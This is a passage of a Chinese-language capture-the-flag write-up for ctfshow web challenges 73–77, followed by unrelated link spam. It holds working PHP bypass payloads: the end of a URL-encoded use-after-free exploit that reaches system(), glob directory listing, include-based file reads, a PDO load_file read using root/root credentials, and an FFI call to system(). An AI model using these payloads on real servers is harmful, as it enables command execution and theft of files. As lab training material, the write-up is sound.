function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflagc.txt%22)%3Bob_end_flush()%3B%0A%3F%3E

發(fā)現(xiàn)uaf失敗

那我們直接讀取呢

c=include('/flagc.txt');exit(0);

?發(fā)現(xiàn)沒(méi)有過(guò)濾 include 相比 72 禁用了 uaf 但是 沒(méi)有禁用include

web74

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

?然后include即可

c=include('/flagx.txt');exit(0);

web75 PDD執(zhí)行讀取文件

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

?

?

?include 被ban

UAF被ban

那我們只能調(diào)用進(jìn)程來(lái)讀取文件

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

解釋一下

$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');設(shè)置 dbh 為 pdo對(duì)象  內(nèi)容為 mysql 本地 數(shù)據(jù)庫(kù)命 登入弱口令foreach($dbh->query('select load_file("/flag36.txt")') as $row)使用 query 執(zhí)行命令 讀取 flag36.txt文件內(nèi)容 作為 row變量echo($row[0])."|"; 將查詢第一列輸出$dbh = null; 關(guān)閉數(shù)據(jù)連接catch (PDOException $e) {echo $e->getMessage();exit(0);}如果出現(xiàn)異常 那么就輸出異常 并且退出exit(0); 繞過(guò)緩沖區(qū)清理

?web76

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

?

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

web77? FFI?(PHP 7 >= 7.4.0, PHP 8)

發(fā)現(xiàn)進(jìn)程讀取失敗

這里又給出一個(gè)方法

FFI

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);c=$ffi = FFI::cdef("int system(const char *command);");設(shè)置 ffI變量 通過(guò) FFI的cdef方法定義system函數(shù)的原型然后設(shè)置變量 $a為 讀取flag命令 并且重定位到  1.txt通過(guò) ffi變量執(zhí)行 命令

?最后訪問(wèn)1.txt

?

http://www.risenshineclean.com/news/22869.html

相關(guān)文章:

  • 印度網(wǎng)站后綴百度數(shù)據(jù)開(kāi)放平臺(tái)
  • 蕭山網(wǎng)站建設(shè)app線上推廣是什么工作
  • 網(wǎng)絡(luò)推廣平臺(tái)有哪些公司搜索引擎優(yōu)化答案
  • 專業(yè)微信網(wǎng)站建設(shè)公司首選公司全網(wǎng)營(yíng)銷推廣方案外包
  • 做金融必看網(wǎng)站seo網(wǎng)站推廣主要目的不包括
  • 南通做百度網(wǎng)站的公司哪家好杭州千鋒教育地址
  • 購(gòu)物網(wǎng)站排名女裝北京十大教育培訓(xùn)機(jī)構(gòu)排名
  • 青島市網(wǎng)站建設(shè)seo實(shí)戰(zhàn)密碼第三版
  • 課程網(wǎng)站建設(shè) 碧輝騰樂(lè)溫嶺網(wǎng)絡(luò)推廣
  • html5制作手機(jī)網(wǎng)站教程十大輿情網(wǎng)站
  • 淘寶做網(wǎng)站價(jià)格百度推廣有哪些售后服務(wù)
  • 翻譯公司網(wǎng)站建設(shè)多少錢百度賬號(hào)注冊(cè)中心
  • 建立網(wǎng)站外鏈常用的渠道有哪些優(yōu)化是什么梗
  • 在哪個(gè)網(wǎng)站做任務(wù)賺錢小程序開(kāi)發(fā)公司前十名
  • 響水做網(wǎng)站的源碼交易平臺(tái)
  • 有哪些網(wǎng)站可以做家教網(wǎng)絡(luò)推廣seo怎么做
  • 合川網(wǎng)站優(yōu)化茶葉網(wǎng)絡(luò)推廣方案
  • 國(guó)內(nèi)互聯(lián)網(wǎng)公司排名2021seo推廣軟件哪個(gè)好
  • 專門做干果批發(fā)的網(wǎng)站seo快速排名關(guān)鍵詞
  • wordpress wjj搜索引擎優(yōu)化的基本方法
  • goood設(shè)計(jì)網(wǎng)站俄羅斯搜索引擎yandex
  • 下列關(guān)于網(wǎng)站開(kāi)發(fā)網(wǎng)頁(yè)上傳中國(guó)500強(qiáng)最新排名
  • wordpress移動(dòng)端導(dǎo)航鞍山seo公司
  • 安徽建站公司短視頻關(guān)鍵詞優(yōu)化
  • web網(wǎng)站開(kāi)發(fā)技術(shù)考試題型武漢seo哪家好
  • 動(dòng)態(tài)網(wǎng)站建設(shè)技術(shù)做網(wǎng)頁(yè)設(shè)計(jì)的軟件
  • 建設(shè)工程信息在什么網(wǎng)站發(fā)布互動(dòng)營(yíng)銷策略
  • 國(guó)外怎么做直播網(wǎng)站網(wǎng)站很卡如何優(yōu)化
  • 做網(wǎng)站和seo流程接推廣app任務(wù)的平臺(tái)
  • 企業(yè)網(wǎng)站html源代碼永久免費(fèi)二級(jí)域名申請(qǐng)